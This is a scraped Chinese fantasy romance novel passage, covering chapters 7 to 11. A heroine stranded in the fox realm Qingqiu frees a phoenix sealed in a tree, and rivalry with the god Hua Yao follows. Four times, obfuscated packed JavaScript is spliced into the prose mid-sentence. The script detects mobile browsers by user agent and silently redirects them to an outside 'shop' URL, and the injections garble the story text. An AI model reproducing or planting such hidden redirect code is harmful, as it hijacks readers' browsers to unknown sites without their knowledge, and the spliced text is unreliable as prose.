慕小闲说:“我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137671|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 告诉您我住在......” 土地公公笑着摆摆手,表示自己的职业素养不容人质疑:“我可是土地,我当然知道你该回哪儿。” 慕小闲乖乖闭上嘴。 土地公公化出一柄近两米长、上粗下细的木质手杖,朝慕小闲画了个圈然后往前一指,慕小闲顿时随着一阵烟雾消失在原地。 仿佛短短几秒内坐了七个回环的过山车,周围的景物飞旋离去,慕小闲陡然降落在一片丛林里,一个踉跄坐在地上。而这里恰好又是在一个坡道上,她就开始往下滚,滚出几米远才停住。 她揉揉晕乎乎的脑袋,站起身来拍拍身上的灰尘,抬起头环顾四周...... 周围是一片陌生的丛林,目及之处是深深浅浅的绿色,呼吸间是草木的清香。她就倒在一颗大树之下,阳光从树叶间的缝隙淅淅沥沥地落下来,形成了斑驳的树影。 和她要回到的地方大相径庭。 土地公公不是要送她回家吗?这个骗子!是不是在天界待久了业务不熟练了? 慕小闲跺跺脚想叫土地公公出来,但是没有回应。 售后服务也不行啊!她把脚跺酸了,都没见到老头的影子,就算要畏罪潜逃,那也得先送她回去啊! “华尧?”慕小闲焦急地喊道:“华尧————” 慕小闲慌了,心脏剧烈地跳动起来,她深吸一口气,对着上空大吼:“这里又是哪里!” 她没有指望有人能回答她,所以被突如其来的声音吓了一跳。 “这里是青丘!青丘之国!”一个稚嫩的声音陡然打断道。 谁在说话? 慕小闲环视一周,没有看到一丝人影。 “哼!没有仙力的散仙,和凡人有什么区别?”那个声音很尖细刺耳,也很稚嫩。 慕小闲突然凭空摔了一跤,一屁股坐到了地上。嘿!这家伙怎么还出手伤人? “你不配知道我是谁。” 她气的一塌糊涂,攥紧了拳头,站起身拍拍衣服,忍着怒气故作惊讶地说:“我虽然没有仙力,但是我已经…...看穿你了!”慕小闲骇人的眼神一凌,就像鞭子一样飞快扫过去。 只见树丛中的几片叶子不自然地抖了一下。慕小闲一个健步冲进去,看见一团白花花的东西,迅速地一抓! 嗯?毛茸茸的,手感不错? “哎哟!快放开我!放开!痛!”声音从手下传来。慕小闲定眼一看,是个头顶长了白色耳朵的小男孩。他长的白白净净,一双狭长的媚眼红红的,小小的嘴巴吃痛地撅着,身后还有一撮白白的尾巴。 “妖怪……”慕小闲打了个哆嗦,赶快放开他,跳开几米。 “嘁!这里是青丘!青丘是我们狐族的地盘!有哪个不是妖?”小男孩手举高高,边揉自己的耳朵边瞪慕小闲,眼神里透着稚气。 青丘,传说是上古神族九尾狐的故乡。既然是狐族的地盘,那么他应当知道如何才能回去。 “你叫什么名字?”慕小闲问道。 “哼!”他扭开头,对慕小闲不屑一顾:“你以为我会上当吗?我…...我才不会告诉你我叫小十一呢……啊!”他捂住嘴,水灵的眼珠子转了转。 慕小闲点点头:“原来叫小十一,你怎么一个人在这里玩儿呢?” 小十一面色一变,睁大眼睛,惊慌地摇摇头:“我什么也没干!真的!” 8. 封印解除 “你慌什么?我只是想回天庭,找不到路问问你而已。”他似乎在刻意隐藏什么,但由于青涩,情绪都写在了脸上。 小十一疑惑地拧眉道:“天庭?你不是青丘的妖怪,是怎么进来的?” 他困惑的大眼睛一直在慕小闲身上转悠,问他为什么,他嗅了嗅,身体紧绷,好像对慕小闲有些防备。 要知道青丘这地方虽然什么样的神、妖都有,但是他长到一千岁,还是第一次被个没有仙力的散仙逮到。这绝对不是件很有面子的事! 何况,这里是青丘禁地,他因为好奇跑来看看,绝不能被其他人知道。 小十一打了个寒噤,绝对不行。这个散仙出现的正好,或许可以帮他挡挡灾,于是打定主意将慕小闲引向某个是非之地。 慕小闲跟着小十一弯弯拐柺走得昏了头,不由产生怀疑,他真的会带她离开吗?狐狸不是最狡猾的动物吗? “喂,我们走了很久了吧?”慕小闲盯着小十一的侧脸问。他到底要带她去什么地方? 小十一在前面带路头也不回地说道:“快到了,就在前面。” 森林之中,生长着茂密繁盛的树木,脚下枯枝烂叶和凹凸的树干交错着深深扎进泥土中,磕磕绊绊的很不好走。 鸟儿叽叽喳喳的叫着,太久没见过小动物,慕小闲竟觉得这种声音时而婉转动听,时而如泣如诉,像拨动了心里的某根弦一样,让人深陷其中。 “你可别被灌灌迷惑了。”小十一瞥了一眼有些陶醉的慕小闲。 慕小闲从幻觉中惊醒:“这是灌灌在叫?” “不是他们还有谁?” “可是灌灌的声音应该像泼妇骂街,很难听呀。”这和她印象中的描述大相径庭。 “那么多年过去了,当然他们不会一成不变。” “是么?”慕小闲感觉声音里面突然多了很多愤怒和幽怨的情绪,而且声音越来越大,仿佛有一大群灌灌正往这边冲过来。 “我只听说它们的肉质很鲜美,特别适合做烧烤。我好久没吃烧烤了,要是烤几只刷上蜂蜜,啧啧,真香啊……”关于青丘灌灌的传说并不多,只言片语中有效信息也就叫声和味道值得一提。 鸟叫突然收声,猝不及防的只剩下翅膀扑哧扑哧的声音,不一会儿转而开始返祖骂街,只是不知道在骂什么,叫骂声还带着微微颤抖。 小十一突然停下,慕小闲就追尾了。她后退一步,抬头一看,他们身前是棵奇大无比的老树,在一众树木当中显得格外庄重肃穆。 老树直直插入云霄,有十数米高,几米粗。粗壮的树干印着一道符字,其余部分缠绕着茂密的藤条,层层叠叠,有些已经枯萎,有的刚冒新芽。树枝交错,像一双双干涩无助的手伸向上空。繁茂的枝与叶遮住了四周的光线,像一座巨大的牢笼。 不知道从什么时候开始,周围寂静无声,再没有任何动物跟着他们。像是什么不详之地,散发着阴冷腐朽的气味。 “这里是......”慕小闲绷直身体,余光一直落在小十一身上,想看看他到底想干什么。 “哼哼!这里是青丘的封印之树!”小十一爬上树干,用手将老树上攀附的藤条扒开,居然露出了一道细长的裂口。裂口深不见底,里面发出微弱的绿色幽光。 “既然你是第一次来青丘,你来试试能否打开这个封印。”小十一打定了算盘,只要她动了这封印,他就可以以闯入禁地的罪名逮捕她。自己则是出门在外看到她鬼鬼祟祟、形迹可疑,所以一路跟来的。 “我为何要解开封印?”慕小闲疑惑道,心里盘算着一般封印的都不是什么好东西,她可不能落入这小家伙的陷阱。 “大婶,你不试试,我就不带你出去了。”小十一眨了眨眼睛,装出副天真无邪的样子。 ——轰 两人之间仿佛惊雷乍起。 慕小闲在内心问候他祖宗! “你叫我什么?”慕小闲将他拎起来,冲着他竖起的耳朵吼道:“你敢再说一遍?” “姐姐......姐姐......可恶!别抓我耳朵!我说了别碰我耳朵!放我下来放我下来!”小十一挣扎着在她手臂上乱抓。 “我告诉你,我非常非常非常不喜欢别人威胁我,这封印你还是另请高明吧。” “你难道不想知道里面关着什么吗?”小十一积极地诱导着。 “不想。”慕小闲想也不想一口回绝。 小十一在半空中撅着嘴摇晃身体。这女人真没意思,一点好奇心求知欲都没有。 慕小闲话音刚落,大地突然“轰隆”震了一下,几里外的鸟雀成群地飞离栖息的大树,发出翅膀拍打的声音,像是感应到了什么。 “轰轰轰轰”脚下的树干突然开始震动不止。慕小闲和小十一一个踉跄,从上面跌落下来,还好不高,没有摔伤。 “地震吗?”小十一打了个哆嗦,他活这么大还没有遇到过地震。况且天界哪里会有什么地震?狐狸都住在洞里,要真是地震,后果简直不堪设想。 慕小闲的脸色发白,这里到处都是树,如果真的是地震,那么她逃无可逃。而且她很清楚地感觉到,不是大地在震,而是眼前这棵诡异的……树! 树叶抖落,像被子一样“簌簌”铺下来。小十一“腾”地一下变回了原型,躲在慕小闲的怀里瑟瑟发抖。 慕小闲想丢掉他,但他的爪子却死死地抓着她的衣服,扯都扯不掉。 “喂,你别抓我衣服,我新买的!” “你......你你别扯我,我......我出去了......给你件霓......霓霓裳......羽衣。”小十一抖得话都说不清楚。 他为什么这么害怕?这树到底封印着什么? 地震持续了数十秒,慕小闲被震的头晕眼花,视线内天旋地转。 逃吗?怎么逃? 慕小闲艰难地向外迈出一步,身后的大树好像感应出什么,更加强烈地晃动嘶吼。 “快点,快点解除封印啊!”面前一枝粗壮的树枝擦着慕小闲的手臂砸落下来,树枝、树叶、灰尘在她们周围一波接着一波倾倒。慕小闲踉踉跄跄地闪身避过,衣服被刮开了道口子。 “这里到底封印着什么?”慕小闲吼道。 瑟瑟发抖的小狐狸埋在慕小闲怀里:“我怎么知道?封印的时候我还没出生,我只听说是一万年前天神封印在此的。” 躲来躲去不是办法,看来封印不解除她们都逃不出去,但如何才能解除封印呢? “小十一,你有没有武器?”慕小闲焦急地问。 小十一目光涣散地看向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137672|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慕小闲,张张嘴:“武...…器……” 对了,狐狸的武器,不是爪子么? 慕小闲从肉团中找出个小肉团,但是指甲却缩进去了! “不管了,反正已经死过一次了。”慕小闲把小十一往脚边一丢,正过身来,面对树干中央的裂痕。 那裂痕中的幽光,越来越亮,将她的脸映衬得十分诡异。 慕小闲屏息凝神,微蹙着眉头,专注地想着该怎么办。她没有察觉的是,她的侧脸出现了三道血红的痕迹,虎牙变尖,瞳孔微缩,手指甲前约两厘米处凭空出现了白色月牙形的光斑。 封印之树的裂痕里猝然冲出一股强大的气流。 慕小闲双手交叉护在眼前,气流带来的压力将她的身体往后推,脚下所过之地留下了深深的凹痕,就像野兽的脚印。 气流将小十一吹的快要变形,连滚带爬地冲出去好远。 裂缝中的莹莹幽光,像火把一样越燃越亮。 慕小闲的双手被强大的气流压得抵在了额前,动弹不得。沙石从眼前呼啸而过,她快不能呼吸。 她眯了眯眼睛。 嗤! 何方妖孽在此? 真是……烦人! 慕小闲的瞳孔瞬间变红,表情狰狞地用尽全力甩开双臂,挣脱气流。气流减弱了一会儿,又越发嚣张起来,将她的长发吹得高高扬起。 还不够...... 慕小闲掌心向上手指微曲,一股白色的气流包裹着她的手指。手掌似乎变大了许多,像是某种野兽的爪子。 她双手狠狠地抓向呼啸而来的气流,没有注意到手指前的白色光斑像利刃一样卷起飓风袭向那道缝隙。 咆哮的气流居然被硬生生劈开,倒向一边的树枝被弹开,忽而转向了另一边。裂痕中的幽光,居然像蜡烛一样,幽幽地熄灭了。呼啸的气流瞬间减弱不少。 “轰” “……” “刺啦” “……” 封印之树的裂痕往上下延伸,裂口陡然扩大。 气流消失,万物突然安静下来,风停止咆哮,树枝不再摇晃,鸟儿也重栖枝头。 几秒钟的风平浪静。 突然!裂口出现了一支橘色的羽毛。 而后…… ……谁能告诉她,为什么?为什么她看见一只鸡……从裂口里一扭一扭地挤出来了? 对!一只鸡!橘红色!肥的! 不知道什么时候,慕小闲的外貌已经恢复正常,好像刚才什么都没有发生过一样。她完全被这只突然出现的鸡吸引,正死死盯着肥鸡流口水。它的羽毛油光水滑,肉质一定该死的鲜美。 小十一从地上爬起来,震惊地看向眼前的一切。他可不可以理解为这位大婶解除了封印。她怎么做到的?而且青丘最最最最最诡异的封印之树,为什么封印的是只鸡? 他非常非常非常不喜欢这只鸡,因为他居然在这只鸡身上看到了......媚俗? 鸡的豆豆眼里闪过一丝狡黠:“是哪位救了本殿下,嗯?” 鸡说话了…… 鸡在小十一和慕小闲身上扫了几圈,果断放弃了狐狸这个天敌,转而投靠慕小闲。 “是你?说吧,你想要什么回报?”鸡慵懒地望向慕小闲道。 9. 上古神兽 鸡,除了能吃,还能拿来干嘛? 能被封印在青丘禁地的,肯定不是什么正经鸡,对吧? 慕小闲眨眨眼睛,干笑几声:“哈哈哈哈举手之劳不足挂齿……你能怎么报答我呢?如果你是美男,还可以以身相许,但你是只……嗯?啊啊啊啊啊啊啊!” 鸡居然光天化日之下突然变身了! “嘭”地一团白雾消散之后,一袭柔软华贵的橘红色云锦袍松松垮垮地披在他身上,衣衫上金丝红线勾勒出浴火而生的凤凰,纵使在幽暗的丛林中亦闪耀夺目。他慵懒地半倚在树干上,勾着一双细长的凤眸,眉梢带着一丝还未褪去的倦意,微微抿着薄唇,神色隐隐有些骄傲地望着她。 那神情仿佛在说...... 谁敢说他不是美男?哼! “你刚才说以身相许?”他伸出丁香小舌,舔了下唇角,媚眼轻挑:“你倒是敢想。”那神态不似带着怒意,反倒像是有几分兴奋。 躲在不远处的小十一见状飞奔回来,在慕小闲身旁倏地幻化成人形,不满地冲他嚷道:“你是谁?为什么会在封印之树里?” 这名男子一眼也未瞧小十一,那双凤眸若有若无地勾着慕小闲,语气颇有些傲慢地说:“本殿下是上古神兽金凤凰。”唇角微微扬起,而后道:“你可以叫本殿下凤钰。” 慕小闲的小心脏被他勾魂的声音和魅惑的笑容搞得怦怦直跳,一时有些愣神。 小十一皱眉道:“金鸡白凤丸?” 凤钰依旧不理会小十一,从树干旁支起身子,晃晃悠悠朝慕小闲走来。他步子很轻,松垮的袍子在摇晃中微微露出胸膛。他停在离她一尺之处,惊得慕小闲退后几步,与他拉开距离,他又跟了上来。 在慕小闲退了五六步后,他突然伸手钳住她的肩。 “啊!”慕小闲差点跳起来。 他勾着一边的唇压下来,轻轻地落在了慕小闲额头的碎发上,眼里含笑,望着睁大眼睛的慕小闲,似乎在等她的反应。可慕小闲此时大脑完全陷入死机状态,一动也不敢动,更不要说做何回应了。 这一幕怎么看都很诡异,小十一三分恼怒三分不解,在一旁干瞪眼咬嘴唇。 “你们在做什么!”一道冷酷的声音从天而降,将慕小闲的神志唤回。她推开凤钰,赶紧拨了拨凌乱的刘海,还好是额头,不然晚节不保。 华尧突兀地出现在一片东倒西歪的草木之中,胸口微微起伏,衣袍上还沾着几片残叶,显然匆匆赶来。他锋利的剑眉压着深邃而明亮的眼眸,目光在他们二人之间来回打量,下颚紧绷,紧攥的双拳仿佛在压抑着什么。 “哟,这不是华尧吗,好久不见。”凤钰的手搭在慕小闲的肩上,将她困在身旁,微微施压让她无法乱动。 “凤钰……”怒气冲冲的华尧在看到凤钰后,愣了几秒,蹙眉问道:“你怎么会在这里?” 话说,华尧在慕小闲暴走之后并未在意,但日头逐渐西斜,她竟然一去不复返,委实有些奇怪。 他搜寻一番无果,揪出了土地公公,这才知道她去了哪里。以华尧的暴脾气自然将土地公公骂得后悔回到天界,想赶紧收拾东西下凡避难,但却被他封进云里等他回来发落。 华尧故作镇定地匆匆赶来青丘,凭着蛛丝马迹进入了禁地,却听到了慕小闲的惊叫。他加快脚步飞速赶来,等找到她们时,居然看到……有个陌生男子正欲低头吻她?! 她为何没有反抗? 他为什么一副愉悦的神情? 神经病啊! 真想劈死他们! 一丝难以形容的暴躁撕扯着他的理智,但当他看清那男人的样貌时,他震惊了。 凤钰。 上古神兽金凤凰。 岁数比他还大。 万年前与他曾有过几面之交。 嗯,不熟。 华尧对这位看似妩媚妖娆的男人,虽无好感,但也谈不上讨厌。毕竟他们井水不犯河水,在天庭也委实没有事务往来,属于就算在路上碰巧遇见,也未必会打招呼的关系。 只是凤钰在那件事后消失了上万年,怎么现在突然出现在这里?而且还与慕小闲混在一起? 华尧眯起眼睛,看着那对相拥而立的男女,胸口一阵翻覆,又产生了压不下去的怒气。这股怒气因何而生他说不上来,只觉一股郁结凝涌了上上来,仿佛在心头坠了一块石头。 正在这时,小十一突然眼睛一亮,惊讶地问道:“咦?这不是准姑父吗?” “姑父?”慕小闲疑惑道。 小十一赶紧高声嚷道:“对对对!他和我姑姑青丘之主白瑶很早之前就有婚约了!” 没想到华尧居然有官配?慕小闲看华尧的眼神又变了。 这女子得倒了八辈子霉,才会和华尧绑在一起。 “华尧,你都有婚约了?唉,我居然不知道,我好伤心啊。”拥着慕小闲的凤钰不知道从哪里变出来一把桃花纸扇,“啪”地一下打开,在胸前扇了扇。 华尧冷声道:“关你何事?” 凤钰扇子一收,摇摇头:“怎么不关本大人的事了?我平日里那么忙,还要算着日子去吃酒呢!” 华尧不悦地瞥了凤钰一眼,懒得跟他纠缠,对慕小闲说:“还不过来,难道你想留在这儿吗?” 慕小闲从凤钰手中挣脱出来,毫不犹豫地朝华尧走去。 华尧再望向凤钰时,眼中多了一丝胜利的意味。 凤钰挑了挑眉毛,状似毫不在意,心中却道:呵,有意思。他什么时候这么没有魅力了?这个小姑娘居然想都不想就从他这里逃走了。 华尧念了个诀,携着慕小闲顿时化作一阵烟雾消散。 凤钰见状轻笑了一声,也一挥衣袖原地消失。 “怎么都走了?我呢?”小十一踹开了脚边的石子。石子顺着地势滚落,滚入了龟裂的大地缝隙中。 幽深的丛林中再无回应,凌乱的树木好似换了天地,又是透着别样阴森的气息。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137673|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小十一赶紧溜了,余光处,飘过一抹隐匿的白色。 华尧带着慕小闲回到桃林,慕小闲仍是不习惯这种交通方式,一落地胃里就翻江倒海。此时她无比怀念祥云,就算祥云并不待见她。 华尧还没来得及说话,他们身旁几米处又出现了个俏丽的身影。 凤钰一边悠悠地扇扇子,一边望着桃林喃喃道:“桃花呀,莫不是思春了?” “你怎么会在这里?”华尧拧眉道。 凤钰转过头冲他抛了个媚眼,说:“本大人已经是她的人了。” 慕小闲舒服点了,回头对凤钰说:“你什么时候是我的人了,我怎么不知道?” 凤钰含羞一笑:“就是刚才啊…...你……嗯嗯……我…...嗯嗯...…就是这样啊!” 慕小闲血气上涌,整张脸都红透了。 华尧烦躁地看着他们眉来眼去:“你究竟想干什么?” “我当然是来陪我的……主人。”凤钰挑挑眉。 “主人?她?”华尧语气已然夹杂着怒意。 凤钰唇角带笑,似是得意道:“对啊。她救了我,我就是……嗯……她的人了。” 凤钰对华尧装作单纯地眨眨眼睛,说:“你该不会想要赶本大人走吧?人家不能离开她的。” 华尧怒气值直接爆了,他周围的气温骤降,有一股气流在他身边开始凝聚,他的脚边猝然出现了几道气旋。慕小闲觉得这一幕十分熟悉,他怕不是又要用龟派气功了。 珍爱生命,远离华尧。她赶紧溜得远远的。 凤钰的表情未变,但眼神却认真起来,抱着双臂看着华尧运功:“咦?几年不见,你的功力见涨啊。” “是几万年。”华尧面色不改。 “不过这脾气好像越来越糟糕了呢。” “……” “呵呵,你这功力如果全部使出来,这片桃林和你的宫殿怕是不保。” “……” 慕小闲吓了一跳,看看自己站的地方,不知道该往哪里躲。 “虽然本大人上万年没有活动筋骨,但我毕竟也虚长你呃......”凤钰说到一半突然停顿,好像思路断了,然后满不在乎地说:“算了,算不清楚......” “给我算清楚!”华尧咆哮道。 “不,这不重要。你应该知道你的修为不可能超越我。你......确定要打吗?”他“啪”地一声收了扇子,依旧很随意地站在那里,但眼神已然变的凌厉。华尧一时竟找不出破绽。 一边是天庭上神,一边是上古神兽。两人虽然没有出手,但周身的气息已变。 一阵旋风将脚边的落叶抛向空中,吹得两人的衣摆猎猎作响。双方气势如虹,弹指间仿佛已经无声地撕扯了几个回合。 对峙半晌,华尧突然撤去手中的力量,径直向鎏华殿走去,只是一张脸绷得可怕。 凤钰擒着轻松的笑容,转过头朝慕小闲得意地挑了挑眉。 10. 同居 华尧拿凤钰没有任何办法。这个捡来的“凤凰男”一天到晚跟在慕小闲身后,殷勤地叫着“小闲闲”,令他颇为不适,但也无法阻止! 慕小闲被凤钰搞怕了。她不知道一个大男人能这么缠人,她夜里歇息,他都要在房门外遛弯儿。她真的真的很痛苦,这样下去她得失眠而死! 凤钰这几天过得十分自在。他在封印之树里睡了上万年,胳膊腿都不利索了,现在正好跟着小闲闲活动活动,哪里顾得上看华尧的脸色。这种生活好不惬意! 慕小闲原本住在华尧左侧一间闲置的偏房,而凤钰一来就抢占了慕小闲对面房间,三间房形成了一种三足鼎立的微妙格局。 某夜,待华尧回房休息后,凤钰蹑手蹑脚地从自己房间的窗户爬出。 要问他为何不走正门?从正门走怕遇到狗!显然,华尧就是那只狗。 凤钰紧靠着墙,轻手轻脚地绕过华尧的卧房,确认屋内没有动静后,又悄声无息地挪到慕小闲房间的窗棂旁,敲了敲窗沿。 屋里窸窸窣窣的一阵响声过后,窗户被轻轻地推开。 慕小闲对他的打扰并不惊奇,满脸倦意打了个哈欠问:“这么晚了,你有什么事吗?” 凤钰妩媚一笑:“长夜漫漫,孤寂无边,小爷我前来一解娘子相思之苦。” 自从将凤钰从封印之树解救出来后,他对自己的称谓就经历了“殿下——大人——小爷”的巨大转变。由此看来,他对自己其实没有什么清晰的定位,只是为了过过嘴瘾。 慕小闲揉了揉眯蒙的眼睛,语气流露出一丝不悦:“我平生最讨厌的事情之一就是睡觉时被人打扰。” 凤钰唇边含笑,好似并不在意她的说法,轻轻地打开扇子,扇了扇:“小娘子不觉得这样有种偷情的滋味,很刺激?” 慕小闲默默地扶上窗户,想将他拦在外面,但是凤钰的一只脚却翘上窗沿,紧接着手也扒了上来。然后,他整个人都从窗外爬了进来。 慕小闲顿时清醒过来,瞪着眼睛问他:“你不是有仙术,可以直接穿过来么?” 凤钰神情一愣,无奈尬笑道:“呵呵,被封印久了什么都不习惯了,还是自己活动活动好。” 慕小闲将他往外一转,推上窗沿:“有什么事明天再说,我要睡觉了。” 凤钰杵在窗框边讪笑道:“别啊,小闲闲,不要赶我走嘛......诶,你这镯子挺好看的......” 凤钰虚晃一招,从慕小闲的手中挣脱,两眼放光地盯着她腕上的玉镯:“这镯子真好看,是在哪里买的?改明儿我也去买一只。” 慕小闲:“晚了。是别人送的。” 凤钰的侧脸沉在阴影之下,目光幽幽地盯着那只镯子,不经意地问道:“是什么样的人送的?” 不等慕小闲回答,屋里突然传来几下敲门声。 慕小闲指着隔壁,着急地对凤钰说:“你快回去!” 凤钰站在原地一动不动,眼中闪过一抹意味不明的光:“你不想知道,华尧看见我在你房间是什么反应?” 慕小闲摇摇头,心道他的反应我见多了,你太不了解华尧了,他若是发怒我们都得卷铺盖走人。 “叩叩叩”声音愈发急促起来,真怕这木门被他砸了。 窗外莹莹如水的月色映在凤钰俊美的侧脸上,像是为他拢上了一层轻薄的面纱。他眯了眯眼,调侃道:“小闲闲,你该不是怕了吧?” 慕小闲:“怕什么?” 凤钰捏着嗓子说道:“我听闻华尧对你呼来喝去,让你做个洒扫的仙侍,你一个女孩子怎么能做这样的粗活,为什么不敢反抗?” 不得不说,凤钰十分会抓重点,慕小闲最受不了的就是华尧一言不合就用扫帚挑衅她。 思及此,慕小闲咬牙切齿地说:“胡说什么。打扫卫生是一种传统美德,若是没有我每日起早贪黑的辛苦劳作,哪有你们今天的舒适生活。” 凤钰敷衍地点点头:“是是是,我对你舍己为人、无私奉献的精神十分感恩,但是恐怕华尧不这么想呢。你看他这来势汹汹的样子,哪里把你放在眼中了?你若是不敢正面迎击,落了下乘,以后还有什么地位可言?” 慕小闲眸光幽幽一动,竟是将凤钰的话听了进去,咬牙道:“说的有理。开门放狗!”然后一溜烟钻上了床。 凤钰嘴角一勾,笑意忽然僵直唇边,怎么回事?她是不是在骂人?算了,小爷我不跟她一般见识,于是扭着腰去开门。 门外站着冒着寒气的华尧,凤钰露出一个得逞的笑容,看得华尧杀气越来越重。 “这么晚了,尧尧可是漫漫长夜几度小雨寒,寂寞得很?”凤钰倚在门框边,眨了眨狭长的凤眼。 “慕小闲呢?”华尧阴着脸问。 “小闲闲?她已经休息了。” 华尧眯了下眼睛,跨过门槛,径直走了进去。 慕小闲卧在榻上,背对着他们,看似已然熟睡,但若仔细观察就会发现背脊的线条绷得极紧。 凤钰则慵懒地靠着门框,神情轻松惬意,余光却牢牢锁着华尧的背影。 门外猎猎寒风灌进室内,大山般沉重的压力笼罩在慕小闲身上。 华尧垂眸看向慕小闲的睡颜,她的眼睫微微煽动,在白皙的皮肤上投下一片静谧的阴影,眉宇舒张,呼吸轻柔,神色是罕见的安宁。 华尧挪开了眼眸,低沉的声音在安静的夜如同一声惊雷。 “还装睡?” 僵持了几秒,慕小闲终于受不了了。她一脚蹬开毯子跳起来,大吼道:“大半夜不睡觉,一个两个都往我房间跑。本人不睡觉,后果很严重!你们都给我从哪儿来回哪儿去!” 华尧听出了一个事实:凤钰也是自作主张偷偷跑来的,慕小闲并不欢迎。 他收起身上的寒气,沉声道:“赶紧歇息,明天还有要紧事。” 凤钰轻叹一声,眼中兴致缺缺,仿佛一场好戏还没来得及开场就结束,白忙活了一晚上。 门外月色隐于桃树的枝丫,地上泛着点点清冷的莹光,两道修长的身影漫步至门外。 华尧出了慕小闲的屋子,侧身瞥了一眼,转过头来恢复了严肃的神情。他用只有他和凤钰两人能听见方式的传声:“你此番来这里,到底为了什么?” 三步之外的凤钰轻笑道:“睡了太久,自然想多玩玩儿。” 华尧紧抿着嘴唇,眼底明显露出一丝不悦。 “倒是你,几年不见怎么越发糊涂了?”凤钰望着怒容,蛮不在意地眨眨眼睛。 “我一直很清醒。”华尧面沉如水,月色勾勒出他如雕刻般的下颚线条,黑色的身影在昏暗的月光下显得尤为肃穆,与他坚定的语气一样不可撼动。 凤钰幽幽叹了口气,转身回房,留下身着华尧一人融入深沉的夜色之中。 。 华尧说的要紧事,居然是三月三日(农历)天后的春桃宴。 蟠桃之所以那么有名,是因为传说小桃树三千年一熟,人吃了体健身轻,成仙得道;一般的桃树六千年一熟,人吃了白日飞升,长生不老;最好的九千年一熟,人吃了与天地同寿,与日月同寿。 这个源自《西游记》的传闻,具体真实性有待考证,但不妨碍慕小闲对此产生遐想,对着华尧殿外的那片茂盛的桃林喃喃道:“你们怎么不能争点气呢?” 华尧上神奉命到访会场监察,为了不将慕小闲与凤钰单独留在家中,于是带两人随行。他甫一出现在会场,就被几位神官团团围住,拉至一旁寒暄。慕小闲和凤钰得以在会场四处闲逛。 小仙女们正在云间排舞,个个面如皎月身段婀娜,像是从画中走下来的人。 婀娜曼妙的身姿翩然舞动,每一个动作都恰到好处,既优美又随意,犹如花间灵动的蝴蝶。薄纱轻敛,仙气缭绕,就像坠入了一个朦胧的虚幻梦境。 一曲结束,慕小闲久久未能晃过神来,小仙女们凑在一起看着她不知在说什么,竟然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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随着不知哪位仙人在琴上轻轻一拨,于一张一弛的节奏下,跳起了原本准备在学院迎新晚会上表演的国风爵士。 她把节奏中的卡点把握得极好,扭腰、送跨、抬手、旋转,披纱在她手中仿佛有了生命,随着她灵动的转身、跳跃,如轻薄的羽翼在身侧挥舞。 慕小闲没有半点仙气,舞动的力量和节奏的爆发全靠肢体动作,不同于传统的古典舞,让她看上去多了几分坚韧、洒脱的侠气。再加上她的表情管理十分到位,眼神明媚动人,唇角似笑非笑,牢牢吸引了众仙的眼球。 众仙哗然。 “这……这是什么舞?” “好怪哦,再看一眼。” 慕小闲甫一下落,一个有力度的后踢腿,绽开的纱裙如染料泼洒于身后白云,映衬出一片彩色霞光,令众仙不觉溢出声声惊叹。 信步而来的华尧突然顿住,一丝不易察觉的震惊自眼底悄然浮现,很快又归于平静,他敛眉扫过一片看热闹的人群,沉声道:“你们在做什么。” 突如其来的压迫感让周遭的氛围陡然一变,众仙面面相觑,不知是谁小声道:“慕姑娘说想让我们见识一下凡间的舞蹈是什么样子......” 慕小闲将手臂上的披纱揉成一团丢到仙群中,冷哼一声,讽刺道:“凡间的文化博大精深,我这水平委实算不得什么,就当给大家换个口味,献丑了。” 华尧眼波微动,听出了慕小闲话里有话,又带着肃杀之气望了仙群一眼。 众仙神色各异,不敢当着华尧上神妄言,纷纷表示:“哪里哪里,凡间的舞真是风格多变,让人耳目一新。” 一段插曲就此告终,华尧一离开,众仙也都各自散去,不再关心慕小闲。 唯有凤钰扭着身子凑过来,殷切地说:“小闲闲,你的舞真好看,教我教我!”他不知从哪里找来了一盏金丝挂耳面纱,掩去了半张脸,那双上挑的凤眸在阳光下熠熠生辉。 11. 奇遇 慕小闲无所事事地混迹在会场的各个角落,在一众行色匆匆的神官、仙女们之中显得格格不入。她一会儿被造型独特的陈设吸引,一会儿又在台前看仙女排练,直到有神官怕她泄露演出剧目将她赶走,她才穿过几层纱帘,游走到后台。 